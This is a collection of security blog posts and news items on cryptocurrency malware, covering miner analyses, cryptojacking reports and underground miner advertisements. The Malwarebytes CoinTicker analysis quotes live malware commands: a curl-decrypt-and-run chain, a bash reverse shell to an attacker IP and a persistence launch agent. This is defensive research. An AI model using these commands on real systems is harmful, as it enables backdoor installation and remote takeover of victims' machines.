Figure 9: Creating an instance of svchost.exe and executing the Cryptonight miner.

Finally, the malware resumes the process with the Cryptonight miner running silently and consuming almost all the CPU’s resources.

Figure 10: An x86 machine infected with the Cryptonight miner. 

Infecting an x64 system

The malware terminates the infection if it finds Wireshark running.

Figure 11: Checking for Wireshark.

The malware checks the GPU brand and mode. It runs only if one of the following GPUs is installed:

  • Radeon
  • Nvidia
  • Asus

Figure 12: Checking the GPU mode.

If these checks are successful, the malware creates the following folder with hidden attributes and downloads and executes Claymore’s Zcash miner from a remote server.

  • C:\Users\AppData\Local\WIX Toolset 11.2

Figure 13: Requesting the download of Claymore’s Zcash miner.

Figure 14: Claymore’s miner.

Figure 15: Executing the miner with its configuration file.

Finally, the malware drops a batch file at %temp%\–xxxxx.cMD to delete the main dropper from [WindowsFolder]\{DE03ECBA-2A77-438C-8243-0AF592BDBB20}\*.*.

Figure 16: A batch file deleting the dropper.

The configuration files of the miners follow.

Figure 17: Cryptonight’s configuration file.

This configuration file contains:

  • The mining pool: 5.149.254.170
  • Username: 49YfyE1xWHG1vywX2xTV8XZzbzB1E2QHEF9GtzPhSPRdK5TEkxXGRxVdAq8LwbA2Pz7jNQ9gYBxeFPHcqiiqaGJM2QyW64C
  • Password: soft-net

Figure 18: Claymore’s Zcash miner configuration file.

This configuration file contains:

  • The mining pool: eu.zec.slushpool.com
  • Username: pavelcom.nln
  • Password: zzz

Coin mining malware will continue to evolve as cybercriminals take advantage of this relatively easy path to stealing value. Mining coins on other people’s systems requires less investment and risk than ransomware, and does not depend on a percentage of victims agreeing to send money. Until users learn they are supporting criminal miners, the latter have much to gain.

 

MITRE ATT&CK techniques

  • Exfiltration over command and control channel
  • Command-line interface
  • Hooking
  • Data from local system
  • File and directory discovery
  • Query registry
  • System information discovery
  • Process discovery
  • System time discovery
  • Process injection
  • Data encrypted
  • Data obfuscation
  • Multilayer encryption
  • File deletion

Indicators of compromise

IP addresses
  • 149.249.13:2224
  • 149.254.170:2223
  • 31.92.212
Domains
  • fee.xmrig.com
  • fee.xmrig.com
  • ru
  • zec.slushpool.com

McAfee detections

  • CoinMiner Version 2 in DAT Version 8986; Version 3 in DAT Version 3437
  • l Version 2 in DAT Version 9001; Version 3 in DAT Version 3452
  • RDN/Generic PUP.x Version 2 in DAT Version 8996; Version 3 in DAT Version 3447
  • Trojan-FQBZ, Trojan-FQCB, Trojan-FQCR Versions 2 in DAT Version 9011; Versions 3 in DAT Version 3462

Hashes (SHA-256)

  • 5E14478931E31CF804E08A09E8DFFD091DB9ABD684926792DBEBEA9B827C9F37
  • 2ED8448A833D5BBE72E667A4CB311A88F94143AA77C55FBDBD36EE235E2D9423
  • F4ED5C03766905F8206AA3130C0CDEDEC24B36AF47C2CE212036D6F904569350
  • 1BDFF1F068EB619803ECD65C4ACB2C742718B0EE2F462DF795208EA913F3353B
  • D4003E6978BCFEF44FDA3CB13D618EC89BF93DEBB75C0440C3AC4C1ED2472742
  • 06AD9DDC92869E989C1DF8E991B1BD18FB47BCEB8ECC9806756493BA3A1A17D6
  • 615BFE5A8AE7E0862A03D183E661C40A1D3D447EDDABF164FC5E6D4D183796E0
  • F31285AE705FF60007BF48AEFBC7AC75A3EA507C2E76B01BA5F478076FA5D1B3
  • AA0DBF77D5AA985EEA52DDDA522544CA0169DCA4AB8FB5141ED2BDD2A5EC16CE

The post WebCobra Malware Uses Victims’ Computers to Mine Cryptocurrency appeared first on McAfee Blogs.

New Ransomware Strain Evades Detection by All but One Antivirus Engine

Researchers discovered a new strain of Dharma ransomware that is able to evade detection by nearly all of the antivirus solutions on the market.

In October and November 2018, researchers with Heimdal Security uncovered four strains of Dharma, one of the oldest ransomware families in existence. One of the strains slid past a total of 53 antivirus engines listed on VirusTotal and 14 engines used by the Jotti malware scan. Just one of the security scanners included in each of those utilities picked up on the strain’s malicious behavior.

In its analysis of the strain, Heimdal observed a malicious executable dropped through a .NET file and another associated HTML Application (HTA) file that, when unpacked, directed victims to pay a ransom amount in bitcoin.

How Persistent Is the Threat of Ransomware?

The emergence of the new Dharma strain highlights ransomware’s ongoing relevance as a cyberthreat. Europol declared that it remains the key malware threat in both law enforcement and industry reporting. The agency attributed this proclamation to financially motivated malware attacks increasingly using ransomware over banking Trojans, a trend that it anticipates will continue for years to come.

Europol identified this tendency despite a surge in activity from other threats. For example, Comodo Cybersecurity found that crypto-mining malware rose to the top of detected malware incidents in the first three months of 2018. In so doing, malicious cryptominers supplanted ransomware as the No. 1 digital threat for that quarter, according to Comodo research.

Defend Against New Malware Strains With Strong Endpoint Security

Security professionals can help keep ransomware off their networks by using an endpoint management solution that provides real-time visibility into their endpoints. Experts also recommend using tools that integrate with security information and event management (SIEM) software to streamline responses to potential incidents.

Sources: Heimdal Security, Europol, Comodo Cybersecurity

The post New Ransomware Strain Evades Detection by All but One Antivirus Engine appeared first on Security Intelligence.

Headmaster caught mining cryptocurrency at school; gets fired

By Uzair Amir

A Chinese school headmaster Lei Hua was caught mining cryptocurrency using the school’s electricity. As a result, he had to lose his job. It happened at Puman Middle School in Hunan province of China. Initially, teachers complained about the loud noise that continued day and night while an increase in the school’s electricity consumption was also reported […]

This is a post from HackRead.com Read the original post: Headmaster caught mining cryptocurrency at school; gets fired

Beware of scams! Elon Musk is not giving away bitcoin on Twitter

“Elon Musk” scams are invading people’s Twitter timelines again, Business Insider reports. Announcing he’s left his CEO position at Tesla, Musk is all of a sudden feeling generous enough to hand out digital currency to random people on Twitter. Better said, the fake accounts claim to be giving out “Bitcoic” by inviting followers to participate in a fake cryptocurrency giveaway.

Source: Cointelegraph.com

Cryptocurrency scams have gained popularity and show no sign of slowing down. Hackers are now even promoting them through Twitter’s ad service. How do they work?

Trying to make a quick buck off the cryptocurrency mania, hackers compromise legitimate accounts. Accounts known to have been hacked are Pantheon Books, film production company Pathe UK and US, and politician Frank Pallone Jr, for a few examples. Then the hackers change account names and pictures, and start tweeting their scams, sometimes by infiltrating Musk’s mentions. Now, thanks to the sponsored ads, they are visible on people’s timelines. And they must be working, as one account has allegedly raised some $170,000.

“Impersonating another individual to deceive users is a clear violation of the Twitter Rules,” said a company spokesperson. “Twitter has also substantially improved how we tackle cryptocurrency scams on the platform. In recent weeks, user impressions have fallen by a multiple of 10 in recent weeks as we continue to invest in more proactive tools to detect spammy and malicious activity. This is a significant improvement on previous action rates.”

Since these scams started, Twitter has been trying to take them down. The company has come up with strategies to prevent accounts from getting major changes, such as blocking name changes. Obviously, they have to keep working on it as it hasn’t proven very successful so far.

StatCounter Analytics Code Hijacked to Steal Bitcoins from Cryptocurrency Users

Late last week an unknown hacker or a group of hackers successfully targeted a cryptocurrency exchange with an aim to steal Bitcoins by compromising the web analytics service it was using. ESET malware researcher Matthieu Faou this weekend spotted malicious JavaScript code on up to 700,000 websites that were bundled with the traffic tracking code from the leading web analytics platform

A week in security (October 29 – November 4)

Last week on Malwarebytes Labs, we looked at a rogue cryptocurrency app installing backdoors, took a dive into the world of printer security, explored browser privacy tweaks, highlighted a music festival–themed breach, and introduced Malwarebytes for Chromebook.

Other cybersecurity news

Stay safe, everyone!

The post A week in security (October 29 – November 4) appeared first on Malwarebytes Labs.

Mac cryptocurrency ticker app installs backdoors

An astute contributor to our forums going by the handle 1vladimir noticed that an app named CoinTicker was exhibiting some fishy behavior over the weekend. It seems that the app is covertly installing not just one but two different backdoors.

Behaviors

The CoinTicker app, on the surface, appears to be a legitimate application that could potentially be useful to someone who has invested in cryptocurrencies. Once downloaded, the app displays an icon in the menu bar that gives information about the current price of Bitcoin.

The app’s preferences allow the user to customize the display, showing information about a wide variety of cryptocurrencies, including Bitcoin, Etherium, and Monero.

Although this functionality seems to be legitimate, the app is actually up to no good in the background, unbeknownst to the user. Without any signs of trouble, such as requests for authentication to root, there’s nothing to suggest to the user that anything is wrong.

When launched, however, the app downloads and installs components of two different open-source backdoors: EvilOSX and EggShell.

The app executes the following shell command to download a custom-compiled version of the EggShell server for macOS:

nohup curl -k -L -o /tmp/.info.enc https://github.com/youarenick/newProject/raw/master/info.enc; openssl enc -aes-256-cbc -d -in /tmp/.info.enc -out /tmp/.info.py -k 111111qq; python /tmp/.info.py

The first part of the command downloads an encoded file from a Github page belonging to a user named “youarenick” and saves that file to a hidden file named .info.enc in /private/tmp/. Next, it uses openssl to decode that file into a hidden Python file named .info.py. Finally, it executes the resulting Python script.

The .info.py script performs multiple tasks. First it opens a reverse shell connection to a command & control server, using the following command:

nohup bash &> /dev/tcp/94.156.189.77/2280 0>&1

(The domain seednode3.parsicoin.net resolves to this IP address.)

Next, it downloads the the EggShell mach-o binary, saving it to /tmp/espl:

curl -k -L -o /tmp/espl https://github.com/youarenick/newProject/raw/master/mac

Finally, it creates and runs a shell script at /tmp/.server.sh, which also establishes a reverse shell.

#! /bin/bash
nohup bash &> /dev/tcp/94.156.189.77/2280 0>&1

The CoinTicker app also creates a user launch agent, named .espl.plist, that runs the same command periodically:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>AbandonProcessGroup</key>
  <true/>
  <key>Label</key>
  <string>com.apple.espl</string>
  <key>ProgramArguments</key>
  <array>
    <string>sh</string>
    <string>-c</string>
    <string>nohup curl -k -L -o /tmp/.info.enc https://github.com/youarenick/newProject/raw/master/info.enc; openssl enc -aes-256-cbc -d -in /tmp/.info.enc -out /tmp/.info.py -k 111111qq; python /tmp/.info.py</string>
  </array>
  <key>RunAtLoad</key>
  <true/>
  <key>StartInterval</key>
  <integer>90</integer>
</dict>
</plist>

If it seems like this results in the espl binary being launched multiple times, that is indeed the case.

The software also creates a folder within the user’s Containers folder named .UpQZdhkKfCdSYxg, which is home to a Python script named plQqVfeJvGo. (We believe these names are randomized, but unfortunately the CoinTicker app has stopped functioning, so we have been unable to confirm.) This script is encoded to hide the content:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import getpass
import uuid

def get_uid():
return "".join(x.encode("hex") for x in (getpass.getuser() + "-" + str(uuid.getnode())))

exec("".join(os.popen("echo 'U2FsdGVkX19GsbCj4lq2hzo27vqseHTtKbNTx9
...
TjO1GlH1+7cP7pDYa8ykBquk4WhU0/UqE' | openssl aes-256-cbc -A -d -a -k %s -md md5" % get_uid()).readlines()))

Extracting the script reveals that it is the bot.py script from the EvilOSX backdoor made by Github user Marten4n6.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Minimal bot which loads modules as they are needed from the server."""
__author__ = "Marten4n6"
__license__ = "GPLv3"
__version__ = "4.1.1"
...

This script has been customized to cause the backdoor to communicate with a server at 185.206.144.226 on port 1339. The malware also creates a user launch agent named com.apple.EOFHXpQvqhr.plist designed to keep this script running.

Implications

Although it’s unknown exactly what goal the hacker behind this malware had in mind, both EggShell and EvilOSX are broad-spectrum backdoors that can be used for a variety of purposes. Since the malware is distributed through a cryptocurrency app, however, it seems likely that the malware is meant to gain access to users’ cryptocurrency wallets for the purpose of stealing coins.

At first, this looked like it could have been a supply chain attack, in which a legitimate app’s website is hacked to distribute a malicious version of the app. Such attacks have happened multiple times in the past, such as when the Transmission site was hacked (twice) to distribute KeRanger and Keydnap, or when a Handbrake mirror server was hacked to distribute Proton.

However, on further inspection, it looks like this app was probably never legitimate to begin with. First, the app is distributed via a domain named coin-sticker.com. This is close to, but not quite the same as, the name of the app. Getting the domain name wrong seems awfully sloppy if this were a legitimate app. Adding further suspicion, it seems that this domain was just registered a few months ago on July 13.

For this reason, Malwarebytes for Mac detects the CoinTicker application in addition to the other components of this malware, as OSX.EvilEgg.

One interesting note about this malware is that none of it requires anything other than normal user permissions. Root permissions are not needed. There is often an erroneous over-emphasis on malware’s need for root privileges, but this malware is a perfect demonstration that malware does not need such privileges to have high potential for danger.

Indicators of Compromise

Files created:

/private/tmp/.info.enc
/private/tmp/.info.py
/private/tmp/.server.sh
/private/tmp/espl
~/Library/LaunchAgents/.espl.plist
~/Library/LaunchAgents/com.apple.[random string].plist
~/Library/Containers/.[random string]/[random string]

Network connections:

94.156.189.77:2280
185.206.144.226:1339

SHA-256:

CoinTicker.zip f4f45e16dd276b948dedd8a5f8d55c9e1e60884b9fe00143cb092eed693cddc4
espl efb5b32f87bfd6089912073cb33850c58640d59cb52d8c63853d97b4771bc490

The post Mac cryptocurrency ticker app installs backdoors appeared first on Malwarebytes Labs.

Fake Flash updates upgrade software, but install crypto-mining malware

According to cybersecurity firm Palo Alto Networks, it discovered a fake Flash updater that has been duping conscientious computer users since August. The fake updater installs files to sneak a cryptocurrency mining bot called XMRig, which mines for Monero.

But here's the catch, while the fake updater is installing the XMRig malware, it's also updating the user's Flash.

Via: The Next Web

Source: Palo Alto Networks

Digital Assistants, Cryptocurrency, Mobile Malware: Trends from ‘McAfee Labs Threats Report’

Every three months, our team crafts the McAfee Labs Threats Report. The quarterly report ranges in topic and severity but always touches on the most important and impactful threats afflicting consumers and companies alike. This year, the McAfee Labs team analyzed an average of 1,800,000 URLs, 800,000 files and 200,000 high-risk files to produce the McAfee Labs Threats Report: September 2018, which features digital assistants, cryptocurrencies, and cybercriminal gangs up to no good. Overall, it’s been an eventful quarter.

So, what are the key takeaways for you? Notably, our team has continued to track a downward trend in new malware attacks for the second successive quarter. Good news on the surface, but that trend may not be indicative of much; as we also saw a spike in new malware in Q4 2017. We’ll continue to watch this into next year. Significantly, we found that a good portion of net new malware is designed for mobile, which increased 27 percent over the previous quarter. In addition, here’s a look at the other trending stories we uncovered.

Digital Assistants

Digital assistants are advanced programs that we can converse with to research, act on our behalf and overall help make our digital lives more comfortable. Siri, Bixby and Google Assistant are few. But one digital assistant, Microsoft’s Cortana, is a little too helpful. The good news, Microsoft quickly rolled out a fix for this vulnerability to protect your Windows 10 computer. Be sure your software is up to date.

Cryptocurrency

The second story involves cryptocurrencies. Cryptocurrencies are digital tokens generated by a computer after solving complex mathematical functions. These functions are used to verify the authenticity of a ledger, or blockchain. Blockchains, by their nature, are relatively secure. But an account that is connected to a blockchain — usually, in this case, associated with a cryptocurrency — is not. And that’s where cybercriminals are focusing their efforts, with coin miner malware up 86% in Q2 2018.

Our report found cybercriminals are chasing after access to cryptocurrencies and they’re doing so using familiar tactics. For example, phishing attacks — where cybercriminals pose as someone else online — are popular tools to take over a cryptocurrency-related account. Malicious programs are also deployed to collect passwords and other information related to an account before stealing virtual currency. You can read more about blockchain and cryptocurrency vulnerabilities here. 

Malicious Apps

Finally, the McAfee Mobile Research team found a collection of malicious applications facilitating a scam in the Google Play store. The apps in question siphon money from unwary users through billing-fraud. Billing-fraud collects money from victims for “using” a “premium” service, such as sending texts to a particular number.

In this case, the cybercriminal ring known as the AsiaHitGroup Gang attempted to charge at least 20,000 victims for downloading fake or copied versions of popular applications. To increase its potential, AsiaHitGroup Gang is using geolocation to target vulnerable populations.

So, what can you do to stay safe in the face of these threats? Here are three quick tips:

  • Limit device access. If you can, limit the ability and access a digital assistant has to your device. Often, you can adjust where and how an assistant is activated through your settings. Otherwise, update your software regularly, as many updates contain security fixes.
  • Create strong passwords. If you’re participating in the cryptocurrency market, then make sure you use strong, robust passwords to protect your accounts. This means using upper case, lower case, symbols and numbers for passwords that are 12 characters long. Afraid you might forget the key to your account? Consider using a password manager.
  • Be careful what you download. Always do some light research on the developer of a mobile application. If the information is hard to come across or absent, consider using an alternative program. Additionally, never download mobile applications from third-party app stores. Genuine stores, like Google Play and Apple’s App Store, should provide you with what you need.

And, of course, stay informed. To keep atop of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

The post Digital Assistants, Cryptocurrency, Mobile Malware: Trends from ‘McAfee Labs Threats Report’ appeared first on McAfee Blogs.

‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues

As we look over some of the key issues from the newly released McAfee Labs Threats Report, we read terms such as voice assistant, blockchain, billing fraud, and cryptojacking. Although voice assistants fall in a different category, the other three are closely linked and driven by the goal of fast, profitable attacks that result in a quick return on a cybercriminal’s investment.

One of the most significant shifts we see is that cryptojacking is still on the rise, while traditional ransomware attacks—aka “shoot and pray they pay”—are decreasing. Ransomware attacks are becoming more targeted as actors conduct their research to pick likely victims, breach their networks, and launch the malware followed by a high-pressure demand to pay the ransom. Although the total number of ransomware samples has fallen for two quarters, one family continues to spawn new variants. The Scarab ransomware family, which entered the threat landscape in June 2017, developed a dozen new variants in Q2. These variants combined make up more than 50% of the total number of Scarab samples to date.

What spiked the movement, starting in fall 2017, toward cryptojacking? The first reason is the value of cryptocurrency. If attacker can steal Bitcoins, for example, from a victim’s system, that’s enough. If direct theft is not possible, why not mine coins using a large number of hijacked systems. There’s no need to pay for hardware, electricity, or CPU cycles; it’s an easy way for criminals to earn money. We once thought that CPUs in routers and video-recording devices were useless for mining, but default or missing passwords wipe away this view. If an attacker can hijack enough systems, mining in high volume can be profitable. Not only individuals struggle with protecting against these attacks; companies suffer from them as well.

Securing cloud environments can be a challenge. Building applications in the cloud with container technology is effective and fast, but we also need to create the right amount of security controls. We have seen breaches in which bad actors uploaded their own containers and added them to a company’s cloud environment—which started to mine cryptocurrency.

New technologies and improvements to current ones are great, but we need to find the balance of securing them appropriately. Who would guess to use an embedded voice assistant to hack a computer? Who looks for potential attack vectors in new technologies and starts a dialog with the industry? One of those is the McAfee Advanced Threat Research team, which provides most of the analysis behind our threats reports. With a mix of the world’s best researchers in their key areas, they take on the challenge of making the (cyber) world safer. From testing vulnerabilities in new technologies to examining malware and the techniques of nation-state campaigns, we responsibly disclose our research to organizations and the industry. We take what we learn from analyzing attacks to evaluate, adapt, and innovate to improve our technology.

The post ‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues appeared first on McAfee Blogs.

Cyber Threat Alliance Releases Analysis of Illicit Cryptocurrency Mining

In response to the explosive increase in cryptomining campaigns in Q4 2017, the Cyber Threat Alliance has formed a cryptomining subcommittee to assess the threat. This committee comprises expert researchers from major cybersecurity companies, including McAfee. The committee has now released “The Illicit Cryptocurrency Mining Threat,” an in-depth report on the current state of unlawful cryptomining. In the report we explain what led to the recent rise in cryptomining-based attacks, their impact, defense recommendations, and predictions for future evolution of the attack. As members of the Cyber Threat Alliance and the cybersecurity community, we hope that individuals and enterprises can use our research to protect themselves from this threat and improve global security.

The Rise of Illicit Cryptocurrency Mining

To understand the cryptomining threat we need to go back only to late 2017 and early 2018 to see the dramatic growth of cryptomining incidents. Since 2017, the combined data of several CTA members shows a 459% increase in detections of mining malware.

(Figure numbers are out of sequence. They are borrowed from the CTA report.)

The increase of mining malware positively correlates with the growth of the value of coins. Specifically, in late 2017 we saw the value of Bitcoin soar to US$20,000 per coin. Anything with a high value attracts cybercriminals, and cryptocurrencies experienced some of the most dramatic volatility ever of any currency. Cybercriminals were early adopters of cryptocurrencies and use them to fuel underground economies. They have increasingly turned to mining to increase their funds by stealing the computer power of their victims. This theft is also referred to as cryptojacking.

Cryptocurrency and Mining 

Cryptocurrencies have become an increasingly popular alternative to traditional electronic money (e-money). E-money is based on a fiat currency such as the U.S. dollar. One of the most common examples is prepaid credit cards, which stand for the backing currency without the need for physical cash. Cryptocurrencies are generally not backed by a fiat currency. In fact, they are considered decentralized—meaning there is no central authority.

Monero has several advantages over Bitcoin in terms of privacy and anonymity; this makes it a favorite among bad actors. Beyond anonymity concerns, resources required to mine Monero are significantly lower, enabling more users to participate and increasing the profitability of botnets.

The act of generating the coin is called mining, which is using system resources to solve a complex mathematical problem. Most major coins employ a “proof of work” that uses CPU resources to solve. Large groups of miners, including botnets, can amass their resources, called pool mining, on a single problem. The mining operations result in a solved mathematical equation that returns newly minted coins to the system and validates new transactions.

The State of Illicit Cryptocurrency Mining

Current incidents of illicit cryptomining occur through compiled executables. This practice is called binary-based mining. In the context of the browser, the practice is called browser-based mining. Binary-based cryptomining malware is delivered as a payload, often using spam or exploit kits. Open-source tools often facilitate mining. XMRig is a legitimate tool for mining Monero, yet is also frequently used by malicious actors for illicit cryptomining.

The most common browser-based miner is Coinhive. Used legitimately, it offers an alternative to ad revenue by monetizing system resources. However, it has been widely used without informing users. On occasion the owner of the service is unaware of the mining code; this was the case with a recent attack against both Facebook Messenger and Starbucks Wi-Fi. As of July 2, PublicWWW yielded at least 23,000 websites hosting Coinhive code.

An example of Coinhive script embedded within a website.

Beyond using browsers to gather system resources, malware authors have become increasingly sophisticated in other ways. They have taken advantage of widespread vulnerabilities such as EternalBlue to propagate, or have implemented other techniques for evasion. The Smominru attack was a very profitable campaign leveraging this approach. It used “living off the land” techniques to evade detection and increase its ability to mine Monero.

Impacts of Illicit Cryptocurrency Mining

Cryptomining may have an impact on both the short- and long-term security of an organization or user. Three primary impact areas include:

  • Potential security flaws that can lead to additional attacks
  • Physical damage
  • Impacts to business operations and productivity

If a device is used in an unauthorized way, there is evidence of a potential security flaw that needs to be addressed. In late 2017, misconfigured devices using FTP led to hundreds of thousands of Monero miners on consumer-grade devices. Bad actors can and have used these same flaws for additional attacks against the systems.

Physical damage is also a concern. The CPU-intensive operation of mining will produce excess heat and power consumption. For small devices the immediate concern is battery life. However, for large systems, especially data centers, the activity can increase the failure rate of components; this can have a major effect on the system. Ultimately this may lead to costly repairs or increased hardware requirements to support the expanded load.

Organizations may also see a hit to business operations. Mass-computing projects present a similar concern, albeit for more altruistic purposes. Folding@Home, a medical research project aimed at understanding proteins, can be installed to use computer resources to help the research. However, business operations may be impacted by a loss of productivity or additional costs. Many businesses prohibit installing these types of computing projects to protect against unexpected costs and disruptions.

Recommended Best Practices

Fortunately, the defense against cryptomining is very similar to that against other threats. Cryptomining malware uses the same tools and methods; thus maintaining good security practices goes a long way. These include analysis of non-typical network traffic, and properly configuring and patching systems. A few additional steps specific to cryptomining:

  • Monitor abnormal power consumption and CPU activity
  • Search logs for related mining strings such as Crypto, Coinhive, XMR, Monero, and cpuminer
  • Block mining pool communications
  • Use browser extensions to protect against browser-based cryptocurrency mining

For a more comprehensive list, including recommended Snort rules, see the Recommended Best Practices section of the report.

The Evolution of Illicit Mining

Illicit cryptocurrency mining appears to have a positive correlation with Bitcoin value. As long as cryptocurrencies such as Bitcoin have value, we expect bad actors will continue to mine for profits. Although public cryptocurrencies like Bitcoin may be closely tied to monetary value, private or custom blockchains are also at risk and also need to prepare against future attacks.

Private blockchains, including non-currency-related ones, may carry unique risks. Large blockchains such as Bitcoin are considered immutable due to the difficulty of changing historical ledger data. Private blockchains inherently lack the same scale of adoption and thus may be more susceptible to attacks. The 51% attack is a well-known threat that can take advantage of a smaller network and have a severe impact on the blockchain’s integrity.

With some nation-states already turning to cryptocurrencies to solve economic issues, it is likely that some nation-states will use illicit mining to gain revenue. State-sponsored actors have already been implicated in the theft of cryptocurrencies, as McAfee has reported. Legitimately mined cryptocurrency has been implicated in obfuscating state-sponsored cyber operations, hiding purchases of VPN accounts, servers, and domain registrations.

Conclusion

“The Illicit Cryptocurrency Mining Threat” represents the first joint industry initiative to educate enterprises and consumers about the growing threat of cryptocurrency mining. By improving security postures and adhering to proper security practices, we can increase the difficulty of these attacks succeeding, thus disrupting malicious behavior. Illicit cryptocurrency mining is not a fad. This problem will likely grow in relation to the value of cryptocurrencies. Current infection methods will give way to new techniques and exploits. The attraction of stealing cryptocurrencies may lead actors to develop targeted attacks against private implementations of blockchain as they become more prevalent. For more on illicit cryptomining threats, read the introductory blog, key findings summary, and the full report to learn about this important research.

The post Cyber Threat Alliance Releases Analysis of Illicit Cryptocurrency Mining appeared first on McAfee Blogs.

How the Rise of Cryptocurrencies Is Shaping the Cyber Crime Landscape: The Growth of Miners

Introduction

Cyber criminals tend to favor cryptocurrencies because they provide a certain level of anonymity and can be easily monetized. This interest has increased in recent years, stemming far beyond the desire to simply use cryptocurrencies as a method of payment for illicit tools and services. Many actors have also attempted to capitalize on the growing popularity of cryptocurrencies, and subsequent rising price, by conducting various operations aimed at them. These operations include malicious cryptocurrency mining (also referred to as cryptojacking), the collection of cryptocurrency wallet credentials, extortion activity, and the targeting of cryptocurrency exchanges.

This blog post discusses the various trends that we have been observing related to cryptojacking activity, including cryptojacking modules being added to popular malware families, an increase in drive-by cryptomining attacks, the use of mobile apps containing cryptojacking code, cryptojacking as a threat to critical infrastructure, and observed distribution mechanisms.

What Is Mining?

As transactions occur on a blockchain, those transactions must be validated and propagated across the network. As computers connected to the blockchain network (aka nodes) validate and propagate the transactions across the network, the miners include those transactions into "blocks" so that they can be added onto the chain. Each block is cryptographically hashed, and must include the hash of the previous block, thus forming the "chain" in blockchain. In order for miners to compute the complex hashing of each valid block, they must use a machine's computational resources. The more blocks that are mined, the more resource-intensive solving the hash becomes. To overcome this, and accelerate the mining process, many miners will join collections of computers called "pools" that work together to calculate the block hashes. The more computational resources a pool harnesses, the greater the pool's chance of mining a new block. When a new block is mined, the pool's participants are rewarded with coins. Figure 1 illustrates the roles miners play in the blockchain network.


Figure 1: The role of miners

Underground Interest

FireEye iSIGHT Intelligence has identified eCrime actor interest in cryptocurrency mining-related topics dating back to at least 2009 within underground communities. Keywords that yielded significant volumes include miner, cryptonight, stratum, xmrig, and cpuminer. While searches for certain keywords fail to provide context, the frequency of these cryptocurrency mining-related keywords shows a sharp increase in conversations beginning in 2017 (Figure 2). It is probable that at least a subset of actors prefer cryptojacking over other types of financially motivated operations due to the perception that it does not attract as much attention from law enforcement.


Figure 2: Underground keyword mentions

Monero Is King

The majority of recent cryptojacking operations have overwhelmingly focused on mining Monero, an open-source cryptocurrency based on the CryptoNote protocol, as a fork of Bytecoin. Unlike many cryptocurrencies, Monero uses a unique technology called "ring signatures," which shuffles users' public keys to eliminate the possibility of identifying a particular user, ensuring it is untraceable. Monero also employs a protocol that generates multiple, unique single-use addresses that can only be associated with the payment recipient and are unfeasible to be revealed through blockchain analysis, ensuring that Monero transactions are unable to be linked while also being cryptographically secure.

The Monero blockchain also uses what's called a "memory-hard" hashing algorithm called CryptoNight and, unlike Bitcoin's SHA-256 algorithm, it deters application-specific integrated circuit (ASIC) chip mining. This feature is critical to the Monero developers and allows for CPU mining to remain feasible and profitable. Due to these inherent privacy-focused features and CPU-mining profitability, Monero has become an attractive option for cyber criminals.

Underground Advertisements for Miners

Because most miner utilities are small, open-sourced tools, many criminals rely on crypters. Crypters are tools that employ encryption, obfuscation, and code manipulation techniques to keep their tools and malware fully undetectable (FUD). Table 1 highlights some of the most commonly repurposed Monero miner utilities.

XMR Mining Utilities

XMR-STACK

MINERGATE

XMRMINER

CCMINER

XMRIG

CLAYMORE

SGMINER

CAST XMR

LUKMINER

CPUMINER-MULTI

Table 1: Commonly used Monero miner utilities

The following are sample advertisements for miner utilities commonly observed in underground forums and markets. Advertisements typically range from stand-alone miner utilities to those bundled with other functions, such as credential harvesters, remote administration tool (RAT) behavior, USB spreaders, and distributed denial-of-service (DDoS) capabilities.

Sample Advertisement #1 (Smart Miner + Builder)

In early April 2018, actor "Mon£y" was observed by FireEye iSIGHT Intelligence selling a Monero miner for $80 USD – payable via Bitcoin, Bitcoin Cash, Ether, Litecoin, or Monero – that included unlimited builds, free automatic updates, and 24/7 support. The tool, dubbed Monero Madness (Figure 3), featured a setting called Madness Mode that configures the miner to only run when the infected machine is idle for at least 60 seconds. This allows the miner to work at its full potential without running the risk of being identified by the user. According to the actor, Monero Madness also provides the following features:

  • Unlimited builds
  • Builder GUI (Figure 4)
  • Written in AutoIT (no dependencies)
  • FUD
  • Safer error handling
  • Uses most recent XMRig code
  • Customizable pool/port
  • Packed with UPX
  • Works on all Windows OS (32- and 64-bit)
  • Madness Mode option


Figure 3: Monero Madness


Figure 4: Monero Madness builder

Sample Advertisement #2 (Miner + Telegram Bot Builder)

In March 2018, FireEye iSIGHT Intelligence observed actor "kent9876" advertising a Monero cryptocurrency miner called Goldig Miner (Figure 5). The actor requested payment of $23 USD for either CPU or GPU build or $50 USD for both. Payments could be made with Bitcoin, Ether, Litecoin, Dash, or PayPal. The miner ostensibly offers the following features:

  • Written in C/C++
  • Build size is small (about 100–150 kB)
  • Hides miner process from popular task managers
  • Can run without Administrator privileges (user-mode)
  • Auto-update ability
  • All data encoded with 256-bit key
  • Access to Telegram bot-builder
  • Lifetime support (24/7) via Telegram


Figure 5: Goldig Miner advertisement

Sample Advertisement #3 (Miner + Credential Stealer)

In March 2018, FireEye iSIGHT Intelligence observed actor "TH3FR3D" offering a tool dubbed Felix (Figure 6) that combines a cryptocurrency miner and credential stealer. The actor requested payment of $50 USD payable via Bitcoin or Ether. According to the advertisement, the Felix tool boasted the following features:

  • Written in C# (Version 1.0.1.0)
  • Browser stealer for all major browsers (cookies, saved passwords, auto-fill)
  • Monero miner (uses minergate.com pool by default, but can be configured)
  • Filezilla stealer
  • Desktop file grabber (.txt and more)
  • Can download and execute files
  • Update ability
  • USB spreader functionality
  • PHP web panel


Figure 6: Felix HTTP

Sample Advertisement #4 (Miner + RAT)

In January 2018, FireEye iSIGHT Intelligence observed actor "ups" selling a miner for any Cryptonight-based cryptocurrency (e.g., Monero and Dashcoin) for either Linux or Windows operating systems. In addition to being a miner, the tool allegedly provides local privilege escalation through the CVE-2016-0099 exploit, can download and execute remote files, and receive commands. Buyers could purchase the Windows or Linux tool for €200 EUR, or €325 EUR for both the Linux and Windows builds, payable via Monero, bitcoin, ether, or dash. According to the actor, the tool offered the following:

Windows Build Specifics

  • Written in C++ (no dependencies)
  • Miner component based on XMRig
  • Easy cryptor and VPS hosting options
  • Web panel (Figure 7)
  • Uses TLS for secured communication
  • Download and execute
  • Auto-update ability
  • Cleanup routine
  • Receive remote commands
  • Perform privilege escalation
  • Features "game mode" (mining stops if user plays game)
  • Proxy feature (based on XMRig)
